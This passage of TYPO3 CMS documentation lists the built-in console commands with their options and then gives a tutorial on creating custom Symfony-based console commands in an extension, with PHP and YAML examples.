Default value
""

--groups

--groups / -g
Assign given groups to the user
Value
Required

--admin

--admin / -a
Create user with admin privileges
Value
None allowed
Default value
false

--maintainer

--maintainer / -m
Create user with maintainer privileges
Value
None allowed
Default value
false
Help

Create a backend user using environment variables

Example:

TYPO3_BE_USER_NAME=username \
TYPO3_BE_USER_EMAIL=admin@example.com \
TYPO3_BE_USER_GROUPS=<comma-separated-list-of-group-ids> \
TYPO3_BE_USER_ADMIN=0 \
TYPO3_BE_USER_MAINTAINER=0 \
./vendor/bin/typo3 backend:user:create --no-interaction
Copied!

vendor/bin/typo3 cache:flush

vendor/bin/typo3 cache:flush Back to list
Flush TYPO3 caches.
Usage
vendor/bin/typo3 cache:flush [-g|--group [GROUP]]
Copied!
Options

--group

--group / -g
The cache group to flush (system, pages, di or all)
Value
Optional
Default value
"all"
Help

This command can be used to clear the caches, for example after code updates in local development and after deployments.

vendor/bin/typo3 cache:warmup

vendor/bin/typo3 cache:warmup Back to list
Warmup TYPO3 caches.
Usage
vendor/bin/typo3 cache:warmup [-g|--group [GROUP]]
Copied!
Options

--group

--group / -g
The cache group to warmup (system, pages, di or all)
Value
Optional
Default value
"all"
Help

This command is useful for deployments to warmup caches during release preparation.

vendor/bin/typo3 cleanup:deletedrecords

vendor/bin/typo3 cleanup:deletedrecords Back to list
Permanently deletes all records marked as "deleted" in the database.
Usage
vendor/bin/typo3 cleanup:deletedrecords [-p|--pid PID] [-d|--depth DEPTH] [--dry-run] [-m|--min-age MIN-AGE]
Copied!
Options

--pid

--pid / -p
Setting start page in page tree. Default is the page tree root, 0 (zero)
Value
Required

--depth

--depth / -d
Setting traversal depth. 0 (zero) will only analyze start page (see --pid), 1 will traverse one level of subpages etc.
Value
Required

--dry-run

--dry-run
If this option is set, the records will not actually be deleted, but just the output which records would be deleted are shown
Value
None allowed
Default value
false

--min-age

--min-age / -m
Minimum age in days records need to be marked for deletion before actual deletion
Value
Required
Default value
0
Help

Traverse page tree and find and flush deleted records. If you want to get more detailed information, use the --verbose option.

vendor/bin/typo3 cleanup:flexforms

vendor/bin/typo3 cleanup:flexforms Back to list
Clean up database FlexForm fields that do not match the chosen data structure.
Usage
vendor/bin/typo3 cleanup:flexforms [--dry-run]
Copied!
Options

--dry-run

--dry-run
If this option is set, the records will not be updated, but only show the output which records would have been updated.
Value
None allowed
Default value
false
Help

Clean up records with dirty FlexForm values not reflected in current data structure.

vendor/bin/typo3 cleanup:localprocessedfiles

vendor/bin/typo3 cleanup:localprocessedfiles Back to list
Delete processed files and their database records.
Usage
vendor/bin/typo3 cleanup:localprocessedfiles [--dry-run] [--all] [-f|--force]
Copied!
Options

--dry-run

--dry-run
If set, the records and files which would be deleted are displayed.
Value
None allowed
Default value
false

--all

--all
If set, ALL processed-file (driver=Local) records will be removed, also those without identifier ("stubs" for unprocessed files) and existing files.
Value
None allowed
Default value
false

--force

--force / -f
Force cleanup. When set the confirmation question will be skipped. When using --no-interaction, --force will be set automatically.
Value
None allowed
Default value
false
Help

If you want to get more detailed information, use the --verbose option.

vendor/bin/typo3 cleanup:missingrelations

vendor/bin/typo3 cleanup:missingrelations Back to list
Find all record references pointing to a non-existing record
Usage
vendor/bin/typo3 cleanup:missingrelations [--dry-run] [--update-refindex]
Copied!
Options

--dry-run

--dry-run
If this option is set, the references will not be removed, but just the output which references would be deleted are shown
Value
None allowed
Default value
false

--update-refindex

--update-refindex
Setting this option automatically updates the reference index and does not ask on command line. Alternatively, use -n to avoid the interactive mode
Value
None allowed
Default value
false
Help

Assumptions: - a perfect integrity of the reference index table (always update the reference index table before using this tool!) - all database references to check are integers greater than zero - does not check if a referenced record is inside an offline branch, another workspace etc. which could make the reference useless in reality or otherwise question integrity Records may be missing for these reasons (except software bugs): - someone deleted the record which is technically not an error although it might be a mistake that someone did so. - after flushing published versions and/or deleted-flagged records a number of new missing references might appear; those were pointing to records just flushed.

An automatic repair is only possible for managed references are (not for soft references), for offline versions records and non-existing records. If you just want to list them, use the --dry-run option. The references in this case are removed.

If the option "--dry-run" is not set, all managed files (TCA/FlexForm attachments) will silently remove the references to non-existing and offline version records. All soft references with relations to non-existing records, offline versions and deleted records require manual fix if you consider it an error.

Manual repair suggestions: - For soft references you should investigate each case and edit the content accordingly. - References to deleted records can theoretically be removed since a deleted record cannot be selected and hence your website should not be affected by removal of the reference. On the other hand it does not hurt to ignore it for now. To have this automatically fixed you must first flush the deleted records after which remaining references will appear as pointing to Non Existing Records and can now be removed with the automatic fix.

If you want to get more detailed information, use the --verbose option.

vendor/bin/typo3 cleanup:orphanrecords

vendor/bin/typo3 cleanup:orphanrecords Back to list
Find and delete records that have lost their connection with the page tree.
Usage
vendor/bin/typo3 cleanup:orphanrecords [--dry-run]
Copied!
Options

--dry-run

--dry-run
If this option is set, the records will not actually be deleted, but just the output which records would be deleted are shown
Value
None allowed
Default value
false
Help

Assumption: All actively used records on the website from TCA configured tables are located in the page tree exclusively.

All records managed by TYPO3 via the TCA array configuration has to belong to a page in the page tree, either directly or indirectly as a version of another record. VERY TIME, CPU and MEMORY intensive operation since the full page tree is looked up!

Automatic Repair of Errors: - Silently deleting the orphaned records. In theory they should not be used anywhere in the system, but there could be references. See below for more details on this matter.

Manual repair suggestions: - Possibly re-connect orphaned records to page tree by setting their "pid" field to a valid page id. A lookup in the sys_refindex table can reveal if there are references to an orphaned record. If there are such references (from records that are not themselves orphans) you might consider to re-connect the record to the page tree, otherwise it should be safe to delete it.

If you want to get more detailed information, use the --verbose option.

vendor/bin/typo3 cleanup:previewlinks

Find all versioned records and possibly cleans up invalid records in the database.
Usage
vendor/bin/typo3 cleanup:previewlinks
Copied!
Help

Look for preview links within the database table "sys_preview" that have been expired and and remove them. This command should be called regularly when working with workspaces.

vendor/bin/typo3 cleanup:versions

vendor/bin/typo3 cleanup:versions Back to list
Find all versioned records and possibly cleans up invalid records in the database.
Usage
vendor/bin/typo3 cleanup:versions [-p|--pid PID] [-d|--depth DEPTH] [--dry-run] [--action [ACTION]]
Copied!
Options

--pid

--pid / -p
Setting start page in page tree. Default is the page tree root, 0 (zero)
Value
Required

--depth

--depth / -d
Setting traversal depth. 0 (zero) will only analyze start page (see --pid), 1 will traverse one level of subpages etc.
Value
Required

--dry-run

--dry-run
If this option is set, the records will not actually be deleted/modified, but just the output which records would be touched are shown
Value
None allowed
Default value
false

--action

--action
Specify which action should be taken. Set it to "versions_in_live", "published_versions" or "invalid_workspace"
Value
Optional
Help

Traverse page tree and find versioned records. Also list all versioned records, additionally with some inconsistencies in the database, which can cleaned up with the "action" option. If you want to get more detailed information, use the --verbose option.

vendor/bin/typo3 extension:list

vendor/bin/typo3 extension:list Back to list
Shows the list of extensions available to the system
Usage
vendor/bin/typo3 extension:list [-a|--all] [-i|--inactive]
Copied!
Options

--all

--all / -a
Also display currently inactive/uninstalled extensions.
Value
None allowed
Default value
false

--inactive

--inactive / -i
Only show inactive/uninstalled extensions available for installation.
Value
None allowed
Default value
false
Help

Shows the list of extensions available to the system

vendor/bin/typo3 extension:setup

vendor/bin/typo3 extension:setup Back to list
Set up extensions
Usage
vendor/bin/typo3 extension:setup [-e|--extension EXTENSION]
Copied!
Options

--extension

--extension / -e
Only set up extensions with given key
Value
Required (multiple)
Default value
[]
Help

Setup all extensions or the given extension by extension key. This must be performed after new extensions are required via Composer.

The command performs all necessary setup operations, such as database schema changes, static data import, distribution files import etc.

The given extension keys must be recognized by TYPO3 or will be ignored.

vendor/bin/typo3 fluid:schema:generate

vendor/bin/typo3 fluid:schema:generate Back to list
Generate XSD schema files for all available ViewHelpers in var/transient/
Usage
vendor/bin/typo3 fluid:schema:generate
Copied!
Help

Generate XSD schema files for all available ViewHelpers in var/transient/

vendor/bin/typo3 impexp:export

vendor/bin/typo3 impexp:export Back to list
Exports a T3D / XML file with content of a page tree
Usage
vendor/bin/typo3 impexp:export [--type [TYPE]] [--pid [PID]] [--levels [LEVELS]] [--table [TABLE]] [--record [RECORD]] [--list [LIST]] [--include-related [INCLUDE-RELATED]] [--include-static [INCLUDE-STATIC]] [--exclude [EXCLUDE]] [--exclude-disabled-records] [--exclude-html-css] [--title [TITLE]] [--description [DESCRIPTION]] [--notes [NOTES]] [--dependency [DEPENDENCY]] [--save-files-outside-export-file] [--] [<filename>]
Copied!
Arguments

filename

filename
The filename to export to (without file extension).
Options

--type

--type
The file type (xml, t3d, t3d_compressed).
Value
Optional
Default value
"xml"

--pid

--pid
The root page of the exported page tree.
Value
Optional
Default value
-1

--levels

--levels
The depth of the exported page tree. "-2": "Records on this page", "0": "This page", "1": "1 level down", .. "999": "Infinite levels".
Value
Optional
Default value
0

--table

--table
Include all records of this table. Examples: "_ALL", "tt_content", "sys_file_reference", etc.
Value
Optional (multiple)
Default value
[]

--record

--record
Include this specific record. Pattern is "{table}:{record}". Examples: "tt_content:12", etc.
Value
Optional (multiple)
Default value
[]

--list

--list
Include the records of this table and this page. Pattern is "{table}:{pid}". Examples: "be_users:0", etc.
Value
Optional (multiple)
Default value
[]

--include-related

Include record relations to this table, including the related record. Examples: "_ALL", "sys_category", etc.
Value
Optional (multiple)
Default value
[]

--include-static

--include-static
Include record relations to this table, excluding the related record. Examples: "_ALL", "be_users", etc.
Value
Optional (multiple)
Default value
[]

--exclude

--exclude
Exclude this specific record. Pattern is "{table}:{record}". Examples: "fe_users:3", etc.
Value
Optional (multiple)
Default value
[]

--exclude-disabled-records

--exclude-disabled-records
Exclude records which are handled as disabled by their TCA configuration, e.g. by fields "disabled", "starttime" or "endtime".
Value
None allowed
Default value
false

--exclude-html-css

--exclude-html-css
Exclude referenced HTML and CSS files.
Value
None allowed
Default value
false

--title

--title
The meta title of the export.
Value
Optional

--description

--description
The meta description of the export.
Value
Optional

--notes

--notes
The meta notes of the export.
Value
Optional

--dependency

--dependency
This TYPO3 extension is required for the exported records. Examples: "news", "powermail", etc.
Value
Optional (multiple)
Default value
[]

--save-files-outside-export-file

--save-files-outside-export-file
Save files into separate folder instead of including them into the common export file. Folder name pattern is "{filename}.files".
Value
None allowed
Default value
false
Help

Exports a T3D / XML file with content of a page tree

vendor/bin/typo3 impexp:import

vendor/bin/typo3 impexp:import Back to list
Imports a T3D / XML file with content into a page tree
Usage
vendor/bin/typo3 impexp:import [--update-records] [--ignore-pid] [--force-uid] [--import-mode [IMPORT-MODE]] [--enable-log] [--] <file> [<pid>]
Copied!
Arguments

file

file
The file path to import from (.t3d or .xml).

pid

pid
The page to import to.
Options

--update-records

--update-records
If set, existing records with the same UID will be updated instead of inserted.
Value
None allowed
Default value
false

--ignore-pid

--ignore-pid
If set, page IDs of updated records are not corrected (only works in conjunction with --update-records).
Value
None allowed
Default value
false

--force-uid

--force-uid
If set, UIDs from file will be forced.
Value
None allowed
Default value
false

--import-mode

--import-mode
Set the import mode of this specific record. Pattern is "{table}:{record}={mode}". Available modes for new records are "force_uid" and "exclude" and for existing records "as_new", "ignore_pid", "respect_pid" and "exclude". Examples are "pages:987=force_uid", "tt_content:1=as_new", etc.
Value
Optional (multiple)
Default value
[]

--enable-log

--enable-log
If set, all database actions are logged.
Value
None allowed
Default value
false
Help

Imports a T3D / XML file with content into a page tree

vendor/bin/typo3 language:update

vendor/bin/typo3 language:update Back to list
Update the language files of all activated extensions
Usage
vendor/bin/typo3 language:update [--no-progress] [--fail-on-warnings] [--skip-extension SKIP-EXTENSION] [--] [<locales>...]
Copied!
Arguments

locales

locales
Provide iso codes separated by space to update only selected language packs. Example `bin/typo3 language:update de ja`.
Options

--no-progress

--no-progress
Disable progress bar.
Value
None allowed
Default value
false

--fail-on-warnings

--fail-on-warnings
Fail command when translation was not found on the server.
Value
None allowed
Default value
false

--skip-extension

--skip-extension
Skip extension. Useful for e.g. for not public extensions, which don't have language packs.
Value
Required (multiple)
Default value
[]
Help

Update the language files of all activated extensions

vendor/bin/typo3 lint:yaml

vendor/bin/typo3 lint:yaml Back to list
Lint a YAML file and outputs encountered errors
Usage
vendor/bin/typo3 lint:yaml [--format FORMAT] [--exclude EXCLUDE] [--parse-tags|--no-parse-tags] [--] [<filename>...]
Copied!
Arguments

filename

filename
A file, a directory or "-" for reading from STDIN
Options

--format

--format
The output format ("txt", "json", "github")
Value
Required

--exclude

--exclude
Path(s) to exclude
Value
Required (multiple)
Default value
[]

--parse-tags

--parse-tags
Parse custom tags
Value
None allowed

--no-parse-tags

--no-parse-tags
Negate the "--parse-tags" option
Value
None allowed
Default value
false
Help

The lint:yaml command lints a YAML file and outputs to STDOUT the first encountered syntax error.

You can validates YAML contents passed from STDIN:

cat filename | php vendor/vendor/bin/typo3 lint:yaml -
Copied!

You can also validate the syntax of a file:

php vendor/vendor/bin/typo3 lint:yaml filename
Copied!

Or of a whole directory:

  php vendor/vendor/bin/typo3 lint:yaml dirname
`php vendor/vendor/bin/typo3 lint:yaml dirname --format=json`
Copied!

You can also exclude one or more specific files:

php vendor/vendor/bin/typo3 lint:yaml dirname --exclude="dirname/foo.yaml" --exclude="dirname/bar.yaml"
Copied!

vendor/bin/typo3 mailer:spool:send

vendor/bin/typo3 mailer:spool:send Back to list
Sends emails from the spool
Usage
vendor/bin/typo3 mailer:spool:send [--message-limit MESSAGE-LIMIT] [--time-limit TIME-LIMIT] [--recover-timeout RECOVER-TIMEOUT]
Copied!
vendor/bin/typo3 swiftmailer:spool:send
Copied!
Options

--message-limit

--message-limit
The maximum number of messages to send.
Value
Required

--time-limit

--time-limit
The time limit for sending messages (in seconds).
Value
Required

--recover-timeout

--recover-timeout
The timeout for recovering messages that have taken too long to send (in seconds).
Value
Required
Help

Sends emails from the spool

vendor/bin/typo3 messenger:consume

vendor/bin/typo3 messenger:consume Back to list
Consume messages
Usage
vendor/bin/typo3 messenger:consume [--sleep SLEEP] [--queues QUEUES] [--exit-code-on-limit EXIT-CODE-ON-LIMIT] [--] [<receivers>...]
Copied!
Arguments

receivers

receivers
Names of the receivers/transports to consume in order of priority
Options

--sleep

--sleep
Seconds to sleep before asking for new messages after no messages were found
Value
Required
Default value
1

--queues

--queues
Limit receivers to only consume from the specified queues
Value
Required (multiple)
Default value
[]

--exit-code-on-limit

--exit-code-on-limit
Exit code when limits are reached
Value
Required
Default value
0
Help

The messenger:consume command consumes messages and dispatches them to the message bus.

php vendor/vendor/bin/typo3 messenger:consume <receiver-name>

To receive from multiple transports, pass each name:

php vendor/vendor/bin/typo3 messenger:consume receiver1 receiver2
Copied!

Use the --queues option to limit a receiver to only certain queues (only supported by some receivers):

php vendor/vendor/bin/typo3 messenger:consume <receiver-name> --queues=fasttrack
Copied!

vendor/bin/typo3 redirects:checkintegrity

vendor/bin/typo3 redirects:checkintegrity Back to list
Check integrity of redirects
Usage
vendor/bin/typo3 redirects:checkintegrity [<site>]
Copied!
Arguments

site

site
If set, then only pages of a specific site are checked
Help

Check integrity of redirects

vendor/bin/typo3 redirects:cleanup

vendor/bin/typo3 redirects:cleanup Back to list
Cleanup old redirects periodically for given constraints like days, hit count or domains.
Usage
vendor/bin/typo3 redirects:cleanup [-d|--domain [DOMAIN]] [-s|--statusCode [STATUSCODE]] [-a|--days [DAYS]] [-c|--hitCount [HITCOUNT]] [-p|--path [PATH]] [-t|--creationType [CREATIONTYPE]] [-i|--integrityStatus [INTEGRITYSTATUS]]
Copied!
Options

--domain

--domain / -d
Cleanup redirects matching provided domain(s)
Value
Optional (multiple)
Default value
[]

--statusCode

--statusCode / -s
Cleanup redirects matching provided status code(s)
Value
Optional (multiple)
Default value
[]

--days

--days / -a
Cleanup redirects older than provided number of days
Value
Optional

--hitCount

--hitCount / -c
Cleanup redirects matching hit counts lower than given number
Value
Optional

--path

--path / -p
Cleanup redirects matching given path (as database like expression)
Value
Optional

--creationType

--creationType / -t
Cleanup redirects matching provided creation type
Value
Optional

--integrityStatus

--integrityStatus / -i
Cleanup redirects matching provided integrity status
Value
Optional
Help

Cleanup old redirects periodically for given constraints like days, hit count or domains.

vendor/bin/typo3 referenceindex:update

vendor/bin/typo3 referenceindex:update Back to list
Update the reference index of TYPO3
Usage
vendor/bin/typo3 referenceindex:update [-c|--check]
Copied!
Options

--check

--check / -c
Only check the reference index of TYPO3
Value
None allowed
Default value
false
Help

Update the reference index of TYPO3

vendor/bin/typo3 scheduler:execute

vendor/bin/typo3 scheduler:execute Back to list
Execute given Scheduler tasks.
Usage
vendor/bin/typo3 scheduler:execute [-t|--task [TASK]]
Copied!
Options

--task

--task / -t
Execute tasks by given id. To run all tasks of a group prefix the group id with "g:", e.g. "g:1"
Value
Optional (multiple)
Default value
[]
Help

Execute given Scheduler tasks.

vendor/bin/typo3 scheduler:list

vendor/bin/typo3 scheduler:list Back to list
List all Scheduler tasks.
Usage
vendor/bin/typo3 scheduler:list [-g|--group [GROUP]] [-w|--watch [WATCH]]
Copied!
Options

--group

--group / -g
Show only groups with given uid
Value
Optional (multiple)
Default value
[]

--watch

--watch / -w
Start watcher mode (polling)
Value
Optional
Help

List all Scheduler tasks.

vendor/bin/typo3 scheduler:run

vendor/bin/typo3 scheduler:run Back to list
Start the TYPO3 Scheduler from the command line.
Usage
vendor/bin/typo3 scheduler:run [-i|--task [TASK]] [-f|--force] [-s|--stop]
Copied!
Options

--task

--task / -i
UID of a specific task. Can be provided multiple times to execute multiple tasks sequentially.
Value
Optional (multiple)
Default value
[]

--force

--force / -f
Force execution of the task which is passed with --task option
Value
None allowed
Default value
false

--stop

--stop / -s
Stop the task which is passed with --task option
Value
None allowed
Default value
false
Help

If no parameter is given, the scheduler executes any tasks that are overdue to run. Call it like this: typo3/sysext/core/vendor/bin/typo3 scheduler:run --task=13 -f

vendor/bin/typo3 setup:begroups:default

vendor/bin/typo3 setup:begroups:default Back to list
Setup default backend user groups
Usage
vendor/bin/typo3 setup:begroups:default [-n|--no-interaction] [-g|--groups [GROUPS]]
Copied!
Options

--groups

--groups / -g
Which backend user groups do you want to create? [ Editor, Advanced Editor, Both, None]
Value
Optional
Default value
"Both"
Help

The command will allow you to create base backend user groups for your TYPO3 installation.

You can create either both or one of the following groups:

  • Editor
  • Advanced Editor

vendor/bin/typo3 site:list

vendor/bin/typo3 site:list Back to list
Shows the list of sites available to the system
Usage
vendor/bin/typo3 site:list
Copied!
Help

Shows the list of sites available to the system

vendor/bin/typo3 site:sets:list

vendor/bin/typo3 site:sets:list Back to list
Shows the list of available site sets
Usage
vendor/bin/typo3 site:sets:list
Copied!
Help

Shows the list of available site sets

vendor/bin/typo3 site:show

vendor/bin/typo3 site:show Back to list
Shows the configuration of the specified site
Usage
vendor/bin/typo3 site:show <identifier>
Copied!
Arguments

identifier

identifier
The identifier of the site
Help

Shows the configuration of the specified site

vendor/bin/typo3 syslog:list

vendor/bin/typo3 syslog:list Back to list
Show entries from the sys_log database table of the last 24 hours.
Usage
vendor/bin/typo3 syslog:list
Copied!
Help

Prints a list of recent sys_log entries. If you want to get more detailed information, use the --verbose option.

vendor/bin/typo3 upgrade:list

vendor/bin/typo3 upgrade:list Back to list
List available upgrade wizards.
Usage
vendor/bin/typo3 upgrade:list [-a|--all]
Copied!
Options

--all

--all / -a
Include wizards already done.
Value
None allowed
Default value
false
Help

List available upgrade wizards.

vendor/bin/typo3 upgrade:mark:undone

vendor/bin/typo3 upgrade:mark:undone Back to list
Mark upgrade wizard as undone.
Usage
vendor/bin/typo3 upgrade:mark:undone <wizardIdentifier>
Copied!
Arguments

wizardIdentifier

wizardIdentifier
Help

Mark upgrade wizard as undone.

vendor/bin/typo3 upgrade:run

vendor/bin/typo3 upgrade:run Back to list
Run upgrade wizard. Without arguments all available wizards will be run.
Usage
vendor/bin/typo3 upgrade:run [<wizardName>]
Copied!
Arguments

wizardName

wizardName
Help

This command allows running upgrade wizards on CLI. To run a single wizard add the identifier of the wizard as argument. The identifier of the wizard is the name it is registered with in ext_localconf.

vendor/bin/typo3 workspace:autopublish

vendor/bin/typo3 workspace:autopublish Back to list
Publish a workspace with a publication date.
Usage
vendor/bin/typo3 workspace:autopublish
Copied!
Help

Some workspaces can have an auto-publish publication date to put all "ready to publish" content online on a certain date.

Tutorial

Create a console command from scratch

A console command is always situated in an extension. If you want to create one, kickstart a custom extension or use your sitepackage extension.

Creating a basic command

The extension kickstarter "Make" offers a convenient console command that creates a new command in an extension of your choice: Create a new console command with "Make". You can use "Make" to create a console command even if your extension was created by different means.

This command can be found in the Examples extension.

1. Register the command

Register the command in Configuration/Services.yaml by adding the service definition for your class as tag console.command:

EXT:examples/Configuration/Services.yaml
services:
  _defaults:
    autowire: true
    autoconfigure: true
    public: false

  T3docs\Examples\:
    resource: '../Classes/*'
    exclude: '../Classes/Domain/Model/*'

  T3docs\Examples\Command\DoSomethingCommand:
    tags:
      - name: console.command
        command: 'examples:dosomething'
        description: 'A command that does nothing and always succeeds.'
      # Also an alias for the command can be configured
      - name: console.command
        command: 'examples:dosomethingalias'
        alias: true
Copied!

The following attributes are available:

command
The name under which the command is available.
description
Give a short description. It will be displayed in the list of commands and the help information of the command.
schedulable
By default, a command can be used in the scheduler, too. This can be disabled by setting schedulable to false.
hidden
A command can be hidden from the command list by setting hidden to true.
alias
A command can be made available under a different name. Set to true, if your command name is an alias.

2. Create the command class

Create a class called DoSomethingCommand extending \Symfony\Component\Console\Command\Command.

EXT:examples/Classes/Command/DoSomethingCommand.php
<?php

declare(strict_types=1);

/*
 * This file is part of the TYPO3 CMS project. [...]
 */

namespace T3docs\Examples\Command;

use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;

final class DoSomethingCommand extends Command
{
    protected function configure(): void
    {
        $this->setHelp('This command does nothing. It always succeeds.');
    }

    protected function execute(InputInterface $input, OutputInterface $output): int
    {
        // Do awesome stuff
        return Command::SUCCESS;
    }
}
Copied!

The following two methods should be overridden by your class:

configure()
As the name would suggest, allows to configure the command. The method allows to add a help text and/or define arguments and options.
execute()
Contains the logic when executing the command. Must return an integer. It is considered best practice to return the constants Command::SUCCESS or Command::FAILURE.

3. Run the command

The above example can be run via command line:

vendor/bin/typo3 examples:dosomething
Copied!
typo3/sysext/core/bin/typo3 examples:dosomething
Copied!

The command will return without a message as it does nothing but stating it succeeded.

Use the PHP attribute to register commands

CLI commands can be registered by setting the attribute \Symfony\Component\Console\Attribute\AsCommand on the command class. When using this attribute there is no need to register the command in the Services.yaml file.

The example above can also be registered this way:

EXT:my_extension/Classes/Command/MyCommand.php
<?php

declare(strict_types=1);

namespace T3docs\Examples\Command;

use Symfony\Component\Console\Attribute\AsCommand;
use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;

#[AsCommand(
    name: 'examples:dosomething',
    description: 'A command that does nothing and always succeeds.',
    aliases: ['examples:dosomethingalias'],
)]
class DoSomethingCommand extends Command
{
    protected function configure(): void
    {
        $this->setHelp('This command does nothing. It always succeeds.');
    }

    protected function execute(InputInterface $input, OutputInterface $output): int
    {
        // Do awesome stuff
        return Command::SUCCESS;
    }
}
Copied!

Create a command with arguments and interaction

Passing arguments

Since a command extends \Symfony\Component\Console\Command\Command, it is possible to define arguments (ordered) and options (unordered) using the Symfony command API. This is explained in depth on the following Symfony Documentation page:

Add an optional argument and an optional option to your command:

Class T3docs\Examples\Command\CreateWizardCommand
use Symfony\Component\Console\Input\InputArgument;
use Symfony\Component\Console\Input\InputOption;

final class CreateWizardCommand extends Command
{
    protected function configure(): void
    {
        $this
            ->setHelp('This command accepts arguments')
            ->addArgument(
                'wizardName',
                InputArgument::OPTIONAL,
                'The wizard\'s name',
            )
            ->addOption(
                'brute-force',
                'b',
                InputOption::VALUE_NONE,
                'Allow the "Wizard of Oz". You can use --brute-force or -b when running command',
            );
    }
}
Copied!

This command takes one optional argument wizardName and one optional option, which can be passed on the command line:

vendor/bin/typo3 examples:createwizard [-b] [wizardName]
Copied!
typo3/sysext/core/bin/typo3 examples:createwizard [-b] [wizardName]
Copied!

This argument can be retrieved with $input->getArgument(), the options with $input->getOption(), for example:

Class T3docs\Examples\Command\CreateWizardCommand
use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;
use Symfony\Component\Console\Style\SymfonyStyle;
use T3docs\Examples\Exception\InvalidWizardException;

final class CreateWizardCommand extends Command
{
    protected function execute(
        InputInterface $input,
        OutputInterface $output,
    ): int {
        $io = new SymfonyStyle($input, $output);
        $wizardName = $input->getArgument('wizardName');
        $bruteForce = (bool)$input->getOption('brute-force');
        try {
            $this->doMagic($io, $wizardName, $bruteForce);
        } catch (InvalidWizardException) {
            return Command::FAILURE;
        }
        return Command::SUCCESS;
    }
}
Copied!

User interaction on the console

You can create a SymfonyStyle console user interface from the $input and $output parameters to the execute() function:

EXT:examples/Classes/Command/CreateWizardCommand.php
use Symfony\Component\Console\Style\SymfonyStyle;

final class CreateWizardCommand extends Command
{
    protected function execute(
        InputInterface $input,
        OutputInterface $output
    ): int {
        $io = new SymfonyStyle($input, $output);
        // do some user interaction
        return Command::SUCCESS;
    }
}
Copied!

The $io variable can then be used to generate output and prompt for input:

Class T3docs\Examples\Command\CreateWizardCommand
use Symfony\Component\Console\Style\SymfonyStyle;
use T3docs\Examples\Exception\InvalidWizardException;

final class CreateWizardCommand extends Command
{
    private function doMagic(
        SymfonyStyle $io,
        mixed $wizardName,
        bool $bruteForce,
    ): void {
        $io->comment('Trying to create wizard ' . $wizardName . '...');
        if ($wizardName === null) {
            $wizardName = (string)$io->ask(
                'Enter the wizard\'s name (e.g. "Gandalf the Grey")',
                'Lord Voldermort',
            );
        }
        if (!$bruteForce && $wizardName === 'Oz') {
            $io->error('The Wizard of Oz is not allowed. Use --brute-force to allow it.');
            throw new InvalidWizardException();
        }
        $io->success('The wizard ' . $wizardName . ' was created');
    }
}
Copied!

Dependency injection in console commands

You can use dependency injection (DI) in console commands by constructor injection or method injection:

Class T3docs\Examples\Command\MeowInformationCommand
use Psr\Log\LoggerInterface;
use T3docs\Examples\Http\MeowInformationRequester;

final class MeowInformationCommand extends Command
{
    public function __construct(
        private readonly MeowInformationRequester $requester,
        private readonly LoggerInterface $logger,
    ) {
        parent::__construct();
    }
}
Copied!

Initialize backend user

A backend user can be initialized with this call inside execute() method:

EXT:some_extension/Classes/Command/DoBackendRelatedThingsCommand.php
use TYPO3\CMS\Core\Core\Bootstrap;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;

final class DoBackendRelatedThingsCommand extends Command
{
    protected function execute(InputInterface $input, OutputInterface $output): int
    {
        Bootstrap::initializeBackendAuthentication();
        // Do backend related stuff

        return Command::SUCCESS;
    }
}
Copied!

This is necessary when using DataHandler or other backend permission handling related tasks.

Simulating a Frontend Request in TYPO3 Commands

When executing TYPO3 commands in the CLI, there is no actual frontend (web) request. This means that several request attributes required for link generation via Fluid or TypoScript are missing by default. While setting the site attribute in the request is a first step, it does not fully replicate the frontend behavior.

The Challenge

In a web request, TYPO3 automatically provides various objects that influence link generation:

  • ContentObjectRenderer (cObj): Processes TypoScript-based rendering, including link generation.
  • page Attribute: Holds the current page context.
  • PageInformation Object: Provides additional metadata about the current page.
  • Router: Ensures proper URL resolution.
  • FrontendTypoScriptFactory (was part of TSFE at the time): Collects TypoScript and provides settings like linkAccessRestrictedPages and typolinkLinkAccessRestrictedPages.

One critical limitation is that the ContentObjectRenderer (cObj) is only available when a TypoScript-based content element, such as FLUIDTEMPLATE, is rendered. Even if cObj is manually instantiated in a CLI command, its data array remains empty, meaning it lacks the context of a real tt_content record. As a result, TypoScript properties like field = my_field or data = my_data will not work as expected.

Similarly, the FrontendTypoScriptFactory is not automatically available in CLI. If CLI-generated links should respect settings like linkAccessRestrictedPages, it would have to be manually instantiated and configured.

A Minimal Request Example

In some cases, a minimal request configuration may be sufficient, such as when generating simple links or using FluidEmail. The following example demonstrates how to set up a basic CLI request with applicationType and site attributes:

packages/my_extension/Classes/Command/DoBackendRelatedThingsCommand.php
<?php

declare(strict_types=1);

namespace T3docs\Examples\Command;

use Symfony\Component\Console\Attribute\AsCommand;
use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;
use TYPO3\CMS\Core\Core\Bootstrap;
use TYPO3\CMS\Core\Core\SystemEnvironmentBuilder;
use TYPO3\CMS\Core\Http\ServerRequest;
use TYPO3\CMS\Core\Mail\FluidEmail;
use TYPO3\CMS\Core\Mail\MailerInterface;
use TYPO3\CMS\Core\Site\SiteFinder;

#[AsCommand(
    name: 'examples:dosomething',
    description: 'A command that does nothing and always succeeds.',
    aliases: ['examples:dosomethingalias'],
)]
class DoSomethingCommand extends Command
{
    public function __construct(
        private readonly SiteFinder $siteFinder,
        private readonly MailerInterface $mailer,
    ) {
        parent::__construct();
    }

    protected function execute(InputInterface $input, OutputInterface $output): int
    {
        Bootstrap::initializeBackendAuthentication();

        // The site has to have a fully qualified domain name
        $site = $this->siteFinder->getSiteByPageId(1);
        $request = (new ServerRequest())
            ->withAttribute('applicationType', SystemEnvironmentBuilder::REQUESTTYPE_FE)
            ->withAttribute('site', $site);
        $GLOBALS['TYPO3_REQUEST'] = $request;
        // Send some mails with FluidEmail
        $email = new FluidEmail();
        $email->setRequest($request);
        // Set receiver etc
        $this->mailer->send($email);
        return Command::SUCCESS;
    }
}
Copied!

More information

Content Elements & Plugins

This chapter handles content elements & plugins: What they are, how they can be created, how existing content elements or plugins can be customized etc.

Introduction

In TYPO3, Content elements and plugins are both stored as Database records in table tt_content. They are usually edited in the backend in module Web > Page.

Content elements and plugins are both used to present and manage content on a website, but they serve different purposes and have distinct characteristics:

Content element Text & Media

Content elements

